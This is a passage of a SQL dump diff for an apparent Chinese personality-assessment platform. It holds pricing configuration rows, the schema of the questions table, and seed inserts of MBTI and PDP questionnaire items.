\"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"98000\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}]}', 1772268761, 1773212515); +INSERT INTO `mbti_pricing_config` VALUES (10, 'admin_enterprise', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1772767876, 1773036927); +INSERT INTO `mbti_pricing_config` VALUES (11, 'admin_enterprise', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1773036955, 1773036955); + +-- ---------------------------- +-- Table structure for mbti_questions +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_questions`; +CREATE TABLE `mbti_questions` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', + `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', + `options` json NULL COMMENT '选项(JSON格式)', + `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', + `sort` int(11) NULL DEFAULT 0 COMMENT '排序', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_sort`(`sort`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_questions +-- ---------------------------- +INSERT INTO `mbti_questions` VALUES (1, 'mbti', '在社交场合中,您通常会:', '[{\"text\": \"认识新朋友,扩大社交圈\", \"value\": \"E\"}, {\"text\": \"与已认识的朋友交流,保持小圈子\", \"value\": \"I\"}]', 'EI', NULL, 1, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (2, 'mbti', '您更喜欢:', '[{\"text\": \"在团队中工作,与他人合作\", \"value\": \"E\"}, {\"text\": \"独立工作,自己思考问题\", \"value\": \"I\"}]', 'EI', NULL, 2, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (3, 'mbti', '当您需要充电时,您会选择:', '[{\"text\": \"与朋友聚会,参加社交活动\", \"value\": \"E\"}, {\"text\": \"独处,阅读或进行个人爱好\", \"value\": \"I\"}]', 'EI', NULL, 3, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (4, 'mbti', '在会议或讨论中,您通常:', '[{\"text\": \"积极发言,边说边思考\", \"value\": \"E\"}, {\"text\": \"先思考,然后再发表意见\", \"value\": \"I\"}]', 'EI', NULL, 4, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (5, 'mbti', '您更倾向于:', '[{\"text\": \"认识很多人,建立广泛的社交网络\", \"value\": \"E\"}, {\"text\": \"与少数几个人建立深厚的友谊\", \"value\": \"I\"}]', 'EI', NULL, 5, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (6, 'mbti', '在工作环境中,您更喜欢:', '[{\"text\": \"开放的办公空间,可以随时与同事交流\", \"value\": \"E\"}, {\"text\": \"安静的私人空间,可以专注工作\", \"value\": \"I\"}]', 'EI', NULL, 6, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (7, 'mbti', '当面对问题时,您更倾向于:', '[{\"text\": \"与他人讨论,获取不同观点\", \"value\": \"E\"}, {\"text\": \"独自思考,寻找解决方案\", \"value\": \"I\"}]', 'EI', NULL, 7, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (8, 'mbti', '您更喜欢的休闲活动是:', '[{\"text\": \"参加派对、团体活动或体育比赛\", \"value\": \"E\"}, {\"text\": \"阅读、看电影或独自进行创作\", \"value\": \"I\"}]', 'EI', NULL, 8, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (9, 'mbti', '在陌生环境中,您通常会:', '[{\"text\": \"主动与他人交谈,快速融入环境\", \"value\": \"E\"}, {\"text\": \"观察周围环境,等待他人接近\", \"value\": \"I\"}]', 'EI', NULL, 9, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (10, 'mbti', '您认为自己是:', '[{\"text\": \"外向、健谈的人\", \"value\": \"E\"}, {\"text\": \"内敛、安静的人\", \"value\": \"I\"}]', 'EI', NULL, 10, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (11, 'mbti', '长时间的社交活动后,您通常会:', '[{\"text\": \"感到精力充沛,想继续社交\", \"value\": \"E\"}, {\"text\": \"感到疲惫,需要独处恢复精力\", \"value\": \"I\"}]', 'EI', NULL, 11, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (12, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"与团队一起头脑风暴和协作\", \"value\": \"E\"}, {\"text\": \"独立思考和解决问题\", \"value\": \"I\"}]', 'EI', NULL, 12, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (13, 'mbti', '您更容易:', '[{\"text\": \"在说话的过程中组织思路\", \"value\": \"E\"}, {\"text\": \"在说话前先组织好思路\", \"value\": \"I\"}]', 'EI', NULL, 13, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (14, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"小组讨论和互动学习\", \"value\": \"E\"}, {\"text\": \"自学和独立研究\", \"value\": \"I\"}]', 'EI', NULL, 14, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (15, 'mbti', '当您有好消息时,您会:', '[{\"text\": \"立即告诉朋友和家人分享喜悦\", \"value\": \"E\"}, {\"text\": \"只告诉少数几个亲近的人\", \"value\": \"I\"}]', 'EI', NULL, 15, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (16, 'mbti', '您更喜欢的假期类型是:', '[{\"text\": \"热闹的旅游胜地,有很多活动和人\", \"value\": \"E\"}, {\"text\": \"安静的度假地,可以放松和思考\", \"value\": \"I\"}]', 'EI', NULL, 16, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (17, 'mbti', '在团队项目中,您更倾向于:', '[{\"text\": \"担任协调者或发言人的角色\", \"value\": \"E\"}, {\"text\": \"负责研究或分析的工作\", \"value\": \"I\"}]', 'EI', NULL, 17, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (18, 'mbti', '您更喜欢的通讯方式是:', '[{\"text\": \"面对面交谈或视频通话\", \"value\": \"E\"}, {\"text\": \"电子邮件或文字消息\", \"value\": \"I\"}]', 'EI', NULL, 18, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (19, 'mbti', '当您遇到困难时,您更倾向于:', '[{\"text\": \"寻求他人的建议和支持\", \"value\": \"E\"}, {\"text\": \"自己思考解决方案\", \"value\": \"I\"}]', 'EI', NULL, 19, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (20, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"充满活力和互动的环境\", \"value\": \"E\"}, {\"text\": \"安静和专注的环境\", \"value\": \"I\"}]', 'EI', NULL, 20, 1, NULL, 1770881506, 1770881506); +INSERT INTO `mbti_questions` VALUES (21, 'mbti', '您更倾向于:', '[{\"text\": \"在多个社交圈中活跃\", \"value\": \"E\"}, {\"text\": \"在一个小圈子中深入交往\", \"value\": \"I\"}]', 'EI', NULL, 21, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (22, 'mbti', '您更喜欢:', '[{\"text\": \"参加大型社交活动\", \"value\": \"E\"}, {\"text\": \"与一两个朋友进行深入交流\", \"value\": \"I\"}]', 'EI', NULL, 22, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (23, 'mbti', '您更倾向于:', '[{\"text\": \"在公共场合表达自己的想法\", \"value\": \"E\"}, {\"text\": \"在私下或小范围内分享想法\", \"value\": \"I\"}]', 'EI', NULL, 23, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (24, 'mbti', '当面对新信息时,您更倾向于:', '[{\"text\": \"关注具体细节和事实\", \"value\": \"S\"}, {\"text\": \"寻找模式和可能性\", \"value\": \"N\"}]', 'SN', NULL, 24, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (25, 'mbti', '您更相信:', '[{\"text\": \"实际经验和直接观察\", \"value\": \"S\"}, {\"text\": \"直觉和想象力\", \"value\": \"N\"}]', 'SN', NULL, 25, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (26, 'mbti', '您更喜欢处理:', '[{\"text\": \"已知的、确定的信息\", \"value\": \"S\"}, {\"text\": \"理论性的、抽象的概念\", \"value\": \"N\"}]', 'SN', NULL, 26, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (27, 'mbti', '在解决问题时,您更倾向于:', '[{\"text\": \"使用已证实有效的方法\", \"value\": \"S\"}, {\"text\": \"尝试创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 27, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (28, 'mbti', '您更关注:', '[{\"text\": \"当下的现实和实际情况\", \"value\": \"S\"}, {\"text\": \"未来的可能性和潜在发展\", \"value\": \"N\"}]', 'SN', NULL, 28, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (29, 'mbti', '您更喜欢的工作类型是:', '[{\"text\": \"有明确指导和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许创新和探索的工作\", \"value\": \"N\"}]', 'SN', NULL, 29, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (30, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的细节\", \"value\": \"S\"}, {\"text\": \"思考概念和理论\", \"value\": \"N\"}]', 'SN', NULL, 30, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (31, 'mbti', '您更喜欢的书籍或电影是:', '[{\"text\": \"基于现实的故事或纪实作品\", \"value\": \"S\"}, {\"text\": \"科幻、奇幻或充满想象力的作品\", \"value\": \"N\"}]', 'SN', NULL, 31, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (32, 'mbti', '在学习新技能时,您更倾向于:', '[{\"text\": \"按部就班地学习,掌握每个具体步骤\", \"value\": \"S\"}, {\"text\": \"先了解整体概念,然后填补细节\", \"value\": \"N\"}]', 'SN', NULL, 32, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (33, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确结构和规则的环境\", \"value\": \"S\"}, {\"text\": \"灵活多变,鼓励创新的环境\", \"value\": \"N\"}]', 'SN', NULL, 33, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (34, 'mbti', '您更倾向于:', '[{\"text\": \"关注现实和实际问题\", \"value\": \"S\"}, {\"text\": \"思考未来和可能性\", \"value\": \"N\"}]', 'SN', NULL, 34, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (35, 'mbti', '在描述事物时,您更倾向于:', '[{\"text\": \"提供具体细节和精确描述\", \"value\": \"S\"}, {\"text\": \"使用比喻和隐喻,强调整体印象\", \"value\": \"N\"}]', 'SN', NULL, 35, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (36, 'mbti', '您更喜欢的工作任务是:', '[{\"text\": \"需要精确和注重细节的任务\", \"value\": \"S\"}, {\"text\": \"需要创造力和想象力的任务\", \"value\": \"N\"}]', 'SN', NULL, 36, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (37, 'mbti', '您更相信:', '[{\"text\": \"亲眼所见和实际经验\", \"value\": \"S\"}, {\"text\": \"直觉和内在感受\", \"value\": \"N\"}]', 'SN', NULL, 37, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (38, 'mbti', '在讨论问题时,您更关注:', '[{\"text\": \"具体事实和实际例子\", \"value\": \"S\"}, {\"text\": \"概念和理论框架\", \"value\": \"N\"}]', 'SN', NULL, 38, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (39, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"通过实践和具体例子学习\", \"value\": \"S\"}, {\"text\": \"通过理论和概念学习\", \"value\": \"N\"}]', 'SN', NULL, 39, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (40, 'mbti', '您更倾向于:', '[{\"text\": \"关注现在和过去的经验\", \"value\": \"S\"}, {\"text\": \"思考未来和可能发生的事情\", \"value\": \"N\"}]', 'SN', NULL, 40, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (41, 'mbti', '在解决问题时,您更依赖:', '[{\"text\": \"已经证明有效的方法和经验\", \"value\": \"S\"}, {\"text\": \"创新的思路和直觉\", \"value\": \"N\"}]', 'SN', NULL, 41, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (42, 'mbti', '您更喜欢的工作是:', '[{\"text\": \"有明确目标和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许探索和创新的工作\", \"value\": \"N\"}]', 'SN', NULL, 42, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (43, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的问题\", \"value\": \"S\"}, {\"text\": \"思考抽象和理论性的问题\", \"value\": \"N\"}]', 'SN', NULL, 43, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (44, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的方法和程序工作\", \"value\": \"S\"}, {\"text\": \"尝试新的方法和创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 44, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (45, 'mbti', '您更关注:', '[{\"text\": \"实际的细节和具体的事实\", \"value\": \"S\"}, {\"text\": \"整体的概念和潜在的可能性\", \"value\": \"N\"}]', 'SN', NULL, 45, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (46, 'mbti', '在做决定时,您通常会:', '[{\"text\": \"考虑逻辑和客观分析\", \"value\": \"T\"}, {\"text\": \"考虑个人价值观和他人感受\", \"value\": \"F\"}]', 'TF', NULL, 46, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (47, 'mbti', '您更倾向于:', '[{\"text\": \"公正客观地分析情况\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 47, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (48, 'mbti', '在解决冲突时,您更关注:', '[{\"text\": \"找出问题的根本原因和逻辑解决方案\", \"value\": \"T\"}, {\"text\": \"维护关系和照顾各方感受\", \"value\": \"F\"}]', 'TF', NULL, 48, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (49, 'mbti', '您更倾向于:', '[{\"text\": \"直接指出问题,即使可能伤害他人感受\", \"value\": \"T\"}, {\"text\": \"委婉表达,避免伤害他人感受\", \"value\": \"F\"}]', 'TF', NULL, 49, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (50, 'mbti', '在评估情况时,您更重视:', '[{\"text\": \"客观事实和逻辑分析\", \"value\": \"T\"}, {\"text\": \"人际关系和价值观\", \"value\": \"F\"}]', 'TF', NULL, 50, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (51, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对他人的情感影响\", \"value\": \"F\"}]', 'TF', NULL, 51, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (52, 'mbti', '在团队中,您更关注:', '[{\"text\": \"任务的完成和效率\", \"value\": \"T\"}, {\"text\": \"团队和谐和成员满意度\", \"value\": \"F\"}]', 'TF', NULL, 52, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (53, 'mbti', '您更倾向于:', '[{\"text\": \"基于逻辑和事实做决定\", \"value\": \"T\"}, {\"text\": \"基于价值观和个人信念做决定\", \"value\": \"F\"}]', 'TF', NULL, 53, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (54, 'mbti', '在给予反馈时,您更倾向于:', '[{\"text\": \"直接指出问题和改进方向\", \"value\": \"T\"}, {\"text\": \"先肯定优点,再委婉提出建议\", \"value\": \"F\"}]', 'TF', NULL, 54, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (55, 'mbti', '您更看重:', '[{\"text\": \"公平和一致性\", \"value\": \"T\"}, {\"text\": \"同情和个人情况\", \"value\": \"F\"}]', 'TF', NULL, 55, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (56, 'mbti', '在工作中,您更重视:', '[{\"text\": \"效率和成果\", \"value\": \"T\"}, {\"text\": \"团队合作和人际关系\", \"value\": \"F\"}]', 'TF', NULL, 56, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (57, 'mbti', '您更倾向于:', '[{\"text\": \"客观分析问题,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响和感受\", \"value\": \"F\"}]', 'TF', NULL, 57, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (58, 'mbti', '在处理冲突时,您更倾向于:', '[{\"text\": \"关注问题本身,寻求公正的解决方案\", \"value\": \"T\"}, {\"text\": \"关注人际关系,寻求和谐的解决方案\", \"value\": \"F\"}]', 'TF', NULL, 58, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (59, 'mbti', '您更看重:', '[{\"text\": \"真实和诚实,即使可能伤害感情\", \"value\": \"T\"}, {\"text\": \"善良和体贴,避免伤害他人\", \"value\": \"F\"}]', 'TF', NULL, 59, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (60, 'mbti', '在评价他人时,您更倾向于:', '[{\"text\": \"客观评价其表现和能力\", \"value\": \"T\"}, {\"text\": \"考虑其努力和意图\", \"value\": \"F\"}]', 'TF', NULL, 60, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (61, 'mbti', '您更倾向于:', '[{\"text\": \"基于原则和规则做决定\", \"value\": \"T\"}, {\"text\": \"基于具体情况和个人需求做决定\", \"value\": \"F\"}]', 'TF', NULL, 61, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (62, 'mbti', '在处理问题时,您更关注:', '[{\"text\": \"找出最有效的解决方案\", \"value\": \"T\"}, {\"text\": \"确保所有人都感到被尊重和理解\", \"value\": \"F\"}]', 'TF', NULL, 62, 1, NULL, 1770881507, 1770881507); +INSERT INTO `mbti_questions` VALUES (63, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观和理性\", \"value\": \"T\"}, {\"text\": \"表达同理心和关怀\", \"value\": \"F\"}]', 'TF', NULL, 63, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (64, 'mbti', '在做决定时,您更看重:', '[{\"text\": \"逻辑和一致性\", \"value\": \"T\"}, {\"text\": \"价值观和人际和谐\", \"value\": \"F\"}]', 'TF', NULL, 64, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (65, 'mbti', '您更倾向于:', '[{\"text\": \"分析问题,寻找最佳解决方案\", \"value\": \"T\"}, {\"text\": \"理解他人感受,寻求共识\", \"value\": \"F\"}]', 'TF', NULL, 65, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (66, 'mbti', '在工作中,您更重视:', '[{\"text\": \"完成任务和达成目标\", \"value\": \"T\"}, {\"text\": \"维护良好的工作关系\", \"value\": \"F\"}]', 'TF', NULL, 66, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (67, 'mbti', '您更倾向于:', '[{\"text\": \"基于事实和数据做决定\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 67, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (68, 'mbti', '您更喜欢:', '[{\"text\": \"提前计划并按计划执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据情况调整\", \"value\": \"P\"}]', 'JP', NULL, 68, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (69, 'mbti', '您更倾向于:', '[{\"text\": \"按时完成任务,避免拖延\", \"value\": \"J\"}, {\"text\": \"在最后期限前完成任务,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 69, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (70, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的规则和结构\", \"value\": \"J\"}, {\"text\": \"灵活多变,允许即兴发挥\", \"value\": \"P\"}]', 'JP', NULL, 70, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (71, 'mbti', '您更倾向于:', '[{\"text\": \"制定详细的计划并遵循\", \"value\": \"J\"}, {\"text\": \"根据情况随机应变\", \"value\": \"P\"}]', 'JP', NULL, 71, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (72, 'mbti', '您更喜欢:', '[{\"text\": \"有条理和组织的生活方式\", \"value\": \"J\"}, {\"text\": \"自然流动和灵活的生活方式\", \"value\": \"P\"}]', 'JP', NULL, 72, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (73, 'mbti', '在做决定时,您更倾向于:', '[{\"text\": \"尽快做出决定并执行\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待更多信息\", \"value\": \"P\"}]', 'JP', NULL, 73, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (74, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的时间表和计划行事\", \"value\": \"J\"}, {\"text\": \"根据当下的情况和感受行事\", \"value\": \"P\"}]', 'JP', NULL, 74, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (75, 'mbti', '您更倾向于:', '[{\"text\": \"完成一项任务后再开始下一项\", \"value\": \"J\"}, {\"text\": \"同时处理多项任务,根据情况切换\", \"value\": \"P\"}]', 'JP', NULL, 75, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (76, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"有明确的目标和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程,可以随时调整\", \"value\": \"P\"}]', 'JP', NULL, 76, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (77, 'mbti', '您更倾向于:', '[{\"text\": \"提前做决定,避免最后一刻的压力\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待最佳时机\", \"value\": \"P\"}]', 'JP', NULL, 77, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (78, 'mbti', '您的工作区域通常是:', '[{\"text\": \"整洁有序,物品摆放有规律\", \"value\": \"J\"}, {\"text\": \"创意性混乱,物品随手可及\", \"value\": \"P\"}]', 'JP', NULL, 78, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (79, 'mbti', '您更倾向于:', '[{\"text\": \"按部就班地完成任务\", \"value\": \"J\"}, {\"text\": \"在灵感来临时集中精力工作\", \"value\": \"P\"}]', 'JP', NULL, 79, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (80, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的规则和指导方针\", \"value\": \"J\"}, {\"text\": \"灵活的环境,可以自由发挥\", \"value\": \"P\"}]', 'JP', NULL, 80, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (81, 'mbti', '您更倾向于:', '[{\"text\": \"提前计划假期和活动\", \"value\": \"J\"}, {\"text\": \"即兴决定和安排活动\", \"value\": \"P\"}]', 'JP', NULL, 81, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (82, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的日程安排\", \"value\": \"J\"}, {\"text\": \"根据当天的情况决定\", \"value\": \"P\"}]', 'JP', NULL, 82, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (83, 'mbti', '您更倾向于:', '[{\"text\": \"按照计划行事,避免意外\", \"value\": \"J\"}, {\"text\": \"适应变化,享受意外惊喜\", \"value\": \"P\"}]', 'JP', NULL, 83, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (84, 'mbti', '您更喜欢的生活方式是:', '[{\"text\": \"有规律和可预测的\", \"value\": \"J\"}, {\"text\": \"自然流动和多变的\", \"value\": \"P\"}]', 'JP', NULL, 84, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (85, 'mbti', '您更倾向于:', '[{\"text\": \"提前做好准备,避免匆忙\", \"value\": \"J\"}, {\"text\": \"在最后一刻完成准备,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 85, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (86, 'mbti', '您更喜欢:', '[{\"text\": \"明确的指导和方向\", \"value\": \"J\"}, {\"text\": \"探索不同的可能性\", \"value\": \"P\"}]', 'JP', NULL, 86, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (87, 'mbti', '您更倾向于:', '[{\"text\": \"按照既定的程序和方法工作\", \"value\": \"J\"}, {\"text\": \"根据情况调整工作方法\", \"value\": \"P\"}]', 'JP', NULL, 87, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (88, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的目标和计划\", \"value\": \"J\"}, {\"text\": \"保持开放的态度,随机应变\", \"value\": \"P\"}]', 'JP', NULL, 88, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (89, 'mbti', '您更倾向于:', '[{\"text\": \"做决定并坚持执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据新信息调整\", \"value\": \"P\"}]', 'JP', NULL, 89, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (90, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的期望和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程和时间安排\", \"value\": \"P\"}]', 'JP', NULL, 90, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (91, 'pdp', '面对紧急任务,您的第一反应是:', '[{\"text\": \"立即行动,快速完成\", \"value\": \"Tiger\"}, {\"text\": \"召集团队,激励大家\", \"value\": \"Peacock\"}, {\"text\": \"冷静分析,稳步推进\", \"value\": \"Koala\"}, {\"text\": \"仔细规划,确保无误\", \"value\": \"Owl\"}, {\"text\": \"根据情况灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 1, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (92, 'pdp', '在社交场合,您通常会:', '[{\"text\": \"主导话题,引领讨论\", \"value\": \"Tiger\"}, {\"text\": \"活跃气氛,成为焦点\", \"value\": \"Peacock\"}, {\"text\": \"安静倾听,适时回应\", \"value\": \"Koala\"}, {\"text\": \"观察分析,选择性交流\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 2, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (93, 'pdp', '您最看重工作中的:', '[{\"text\": \"权力和成就\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"稳定和和谐\", \"value\": \"Koala\"}, {\"text\": \"准确和质量\", \"value\": \"Owl\"}, {\"text\": \"平衡和适应\", \"value\": \"Chameleon\"}]', NULL, NULL, 3, 1, NULL, 1770881508, 1770881508); +INSERT INTO `mbti_questions` VALUES (94, 'pdp', '处理冲突时,您倾向于:', '[{\"text\": \"直接面对,迅速解决\", \"value\": \"Tiger\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"Peacock\"}, 